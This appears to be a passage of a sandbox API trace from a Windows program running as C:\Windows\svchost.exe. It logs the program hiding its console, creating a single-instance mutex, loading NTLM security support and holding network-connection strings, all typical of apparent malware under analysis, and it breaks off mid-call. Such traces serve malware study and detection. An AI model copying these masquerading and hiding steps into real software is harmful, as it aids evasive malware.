[0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0049.712] LoadStringW (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18dce4, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0049.712] LoadStringW (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18dce4, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0049.713] GetVersionExW (in: lpVersionInformation=0x18fbf8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbf8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.732] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0049.733] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x2c3de0 [0049.733] GetProcAddress (hModule=0x76d30000, lpProcName="GetNativeSystemInfo") returned 0x76d510b5 [0049.733] GetNativeSystemInfo (in: lpSystemInfo=0x18fbd4 | out: lpSystemInfo=0x18fbd4*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0049.836] LoadStringW (in: hInstance=0x400000, uID=0xff4a, lpBuffer=0x18dbbc, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xff4d, lpBuffer=0x18dbbc, cchBufferMax=4096 | out: lpBuffer="Windows 7") returned 0x9 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0049.837] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18dcdc, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0049.837] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fac2, nSize=0x105 | out: lpFilename="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe")) returned 0x16 [0049.837] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.837] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.837] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.837] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.837] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.837] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcd0 | out: phkResult=0x18fcd0*=0x0) returned 0x2 [0049.838] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.838] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0049.838] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0049.838] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x2bf310 [0049.838] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0049.838] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x18fcb4 | out: Buffer=0x0, ReturnedLength=0x18fcb4) returned 0 [0049.838] GetLastError () returned 0x7a [0049.839] GetLogicalProcessorInformation (in: Buffer=0x7f99d0, ReturnedLength=0x18fcb4 | out: Buffer=0x7f99d0, ReturnedLength=0x18fcb4) returned 1 [0049.839] GetCurrentThreadId () returned 0x9fc [0049.839] GetCurrentThreadId () returned 0x9fc [0049.839] GetVersionExW (in: lpVersionInformation=0x18fbc4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x77cb1ecd, dwMinorVersion=0x132cc9, dwBuildNumber=0xfffffffe, dwPlatformId=0x77c70338, szCSDVersion="ǂ矇") | out: lpVersionInformation=0x18fbc4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.839] GetCurrentThreadId () returned 0x9fc [0049.839] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0049.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x8080dc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareStringOrdinal", lpUsedDefaultChar=0x0) returned 20 [0049.839] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringOrdinal") returned 0x76d60608 [0049.839] GetThreadLocale () returned 0x409 [0049.839] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fc08 | out: lpCPInfo=0x18fc08) returned 1 [0049.858] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0049.859] GetCurrentThreadId () returned 0x9fc [0049.859] GetCurrentThreadId () returned 0x9fc [0049.859] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x18f984, cchData=256 | out: lpLCData="2") returned 2 [0049.897] GetThreadLocale () returned 0x409 [0049.897] EnumCalendarInfoW (lpCalInfoEnumProc=0x42696c, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0049.898] GetThreadLocale () returned 0x409 [0049.898] EnumCalendarInfoW (lpCalInfoEnumProc=0x426a04, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0049.898] GetCurrentThreadId () returned 0x9fc [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Sun") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Sunday") returned 7 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Mon") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Monday") returned 7 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Tue") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Tuesday") returned 8 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Wed") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Wednesday") returned 10 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Thu") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Thursday") returned 9 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Fri") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Friday") returned 7 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Sat") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x18f96c, cchData=256 | out: lpLCData="Saturday") returned 9 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x18f970, cchData=256 | out: lpLCData="Jan") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x18f970, cchData=256 | out: lpLCData="January") returned 8 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x18f970, cchData=256 | out: lpLCData="Feb") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x18f970, cchData=256 | out: lpLCData="February") returned 9 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x18f970, cchData=256 | out: lpLCData="Mar") returned 4 [0049.898] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x18f970, cchData=256 | out: lpLCData="March") returned 6 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x18f970, cchData=256 | out: lpLCData="Apr") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x18f970, cchData=256 | out: lpLCData="April") returned 6 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x18f970, cchData=256 | out: lpLCData="May") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x18f970, cchData=256 | out: lpLCData="May") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x18f970, cchData=256 | out: lpLCData="Jun") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x18f970, cchData=256 | out: lpLCData="June") returned 5 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x18f970, cchData=256 | out: lpLCData="Jul") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x18f970, cchData=256 | out: lpLCData="July") returned 5 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x18f970, cchData=256 | out: lpLCData="Aug") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x18f970, cchData=256 | out: lpLCData="August") returned 7 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x18f970, cchData=256 | out: lpLCData="Sep") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x18f970, cchData=256 | out: lpLCData="September") returned 10 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x18f970, cchData=256 | out: lpLCData="Oct") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x18f970, cchData=256 | out: lpLCData="October") returned 8 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x18f970, cchData=256 | out: lpLCData="Nov") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x18f970, cchData=256 | out: lpLCData="November") returned 9 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x18f970, cchData=256 | out: lpLCData="Dec") returned 4 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x18f970, cchData=256 | out: lpLCData="December") returned 9 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="$") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="0") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="0") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x18fbb8, cchData=2 | out: lpLCData=",") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x18fbb8, cchData=2 | out: lpLCData=".") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="2") returned 2 [0049.899] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fbb8, cchData=2 | out: lpLCData="/") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x18f97c, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f97c, cchData=256 | out: lpLCData="1") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x18f97c, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f97c, cchData=256 | out: lpLCData="1") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fbb8, cchData=2 | out: lpLCData=":") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="AM") returned 3 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="PM") returned 3 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="0") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="0") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x18f9c0, cchData=256 | out: lpLCData="0") returned 2 [0049.900] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x18fbb8, cchData=2 | out: lpLCData=",") returned 2 [0049.919] GetModuleHandleW (lpModuleName="oleaut32.dll") returned 0x76e40000 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VariantChangeTypeEx") returned 0x76e44c28 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarNeg") returned 0x76ebc802 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarNot") returned 0x76ebec66 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarAdd") returned 0x76e65934 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarSub") returned 0x76ebd332 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarMul") returned 0x76ebdbd4 [0049.919] GetProcAddress (hModule=0x76e40000, lpProcName="VarDiv") returned 0x76ebe405 [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarIdiv") returned 0x76ebf00a [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarMod") returned 0x76ebf15e [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarAnd") returned 0x76e65a98 [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarOr") returned 0x76ebecfa [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarXor") returned 0x76ebee2e [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarCmp") returned 0x76e5b0dc [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarI4FromStr") returned 0x76e56fab [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarR4FromStr") returned 0x76e601a0 [0049.920] GetProcAddress (hModule=0x76e40000, lpProcName="VarR8FromStr") returned 0x76e5699e [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarDateFromStr") returned 0x76e66ba7 [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarCyFromStr") returned 0x76e86c12 [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarBoolFromStr") returned 0x76e5dbd1 [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromCy") returned 0x76e67fdc [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromDate") returned 0x76e57a2a [0049.921] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromBool") returned 0x76e60355 [0049.940] VarBstrFromBool (in: boolIn=0, lcid=0x400, dwFlags=0x0, pbstrOut=0x18fcf8 | out: pbstrOut=0x18fcf8*="False") returned 0x0 [0049.984] CharLowerBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="false") returned 0x5 [0049.984] CharUpperBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="FALSE") returned 0x5 [0049.984] VarBstrFromBool (in: boolIn=1, lcid=0x400, dwFlags=0x0, pbstrOut=0x18fcf8 | out: pbstrOut=0x18fcf8*="True") returned 0x0 [0049.984] CharLowerBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="true") returned 0x4 [0049.984] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0050.139] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc8 [0050.195] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xcc [0050.195] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd0 [0050.450] LoadStringW (in: hInstance=0x400000, uID=0xff20, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid time Offset string: %s") returned 0x1e [0050.450] LoadStringW (in: hInstance=0x400000, uID=0xff3f, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid time string: %s") returned 0x17 [0050.450] LoadStringW (in: hInstance=0x400000, uID=0xff3e, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid date string: %s") returned 0x17 [0050.463] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0050.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0050.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x80f51c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeConditionVariable", lpUsedDefaultChar=0x0) returned 27 [0050.463] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeConditionVariable") returned 0x77c78456 [0050.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0050.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x808244, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeConditionVariable", lpUsedDefaultChar=0x0) returned 21 [0050.480] GetProcAddress (hModule=0x76d30000, lpProcName="WakeConditionVariable") returned 0x77ce7de4 [0050.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x80f51c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeAllConditionVariable", lpUsedDefaultChar=0x0) returned 24 [0050.480] GetProcAddress (hModule=0x76d30000, lpProcName="WakeAllConditionVariable") returned 0x77ca409d [0050.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x80f51c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SleepConditionVariableCS", lpUsedDefaultChar=0x0) returned 24 [0050.480] GetProcAddress (hModule=0x76d30000, lpProcName="SleepConditionVariableCS") returned 0x76dc4b32 [0050.506] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76d30000 [0050.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x7f2d2c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetFileSizeEx", lpUsedDefaultChar=0x0) returned 13 [0050.507] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0050.535] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c0000 [0050.629] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x7eb37c | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0050.718] GetACP () returned 0x4e4 [0050.731] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fcac | out: lpCPInfo=0x18fcac) returned 1 [0050.744] LoadStringW (in: hInstance=0x400000, uID=0xff1b, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="%s") returned 0x2 [0050.744] LoadStringW (in: hInstance=0x400000, uID=0xff1b, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="%s") returned 0x2 [0050.744] LoadStringW (in: hInstance=0x400000, uID=0xff1b, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="%s") returned 0x2 [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff1b, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="%s") returned 0x2 [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff1a, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Disconnected.") returned 0xd [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff19, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Disconnecting.") returned 0xe [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff18, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Connected.") returned 0xa [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff17, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Connecting to %s.") returned 0x11 [0050.745] LoadStringW (in: hInstance=0x400000, uID=0xff16, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Resolving hostname %s.") returned 0x16 [0050.862] SetErrorMode (uMode=0x8000) returned 0x0 [0050.972] LoadLibraryW (lpLibFileName="security.dll") returned 0x75600000 [0050.982] SetErrorMode (uMode=0x0) returned 0x8000 [0050.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitSecurityInterfaceW", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0050.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitSecurityInterfaceW", cchWideChar=22, lpMultiByteStr=0x8082e4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitSecurityInterfaceW", lpUsedDefaultChar=0x0) returned 22 [0050.982] GetProcAddress (hModule=0x75600000, lpProcName="InitSecurityInterfaceW") returned 0x757c1314 [0051.131] InitSecurityInterfaceW () returned 0x757d0198 [0051.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTLM", cchCount1=4, lpString2="NTLM", cchCount2=4) returned 2 [0051.153] GetConsoleWindow () returned 0x0 [0051.154] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0051.154] FreeConsole () returned 1 [0051.242] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="OneCopyMutex") returned 0x20 [0051.242] WaitForSingleObject (hHandle=0x20, dwMilliseconds=0x0) returned 0x0 [0051.270] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0051.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x80f63c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateToolhelp32Snapshot", lpUsedDefaultChar=0x0) returned 24 [0051.270] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0051.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x7f2e8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListFirst", lpUsedDefaultChar=0x0) returned 15 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListFirst") returned 0x76dc5621 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListNext", lpUsedDefaultChar=0x0) returned 14 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListNext") returned 0x76dc56cb [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 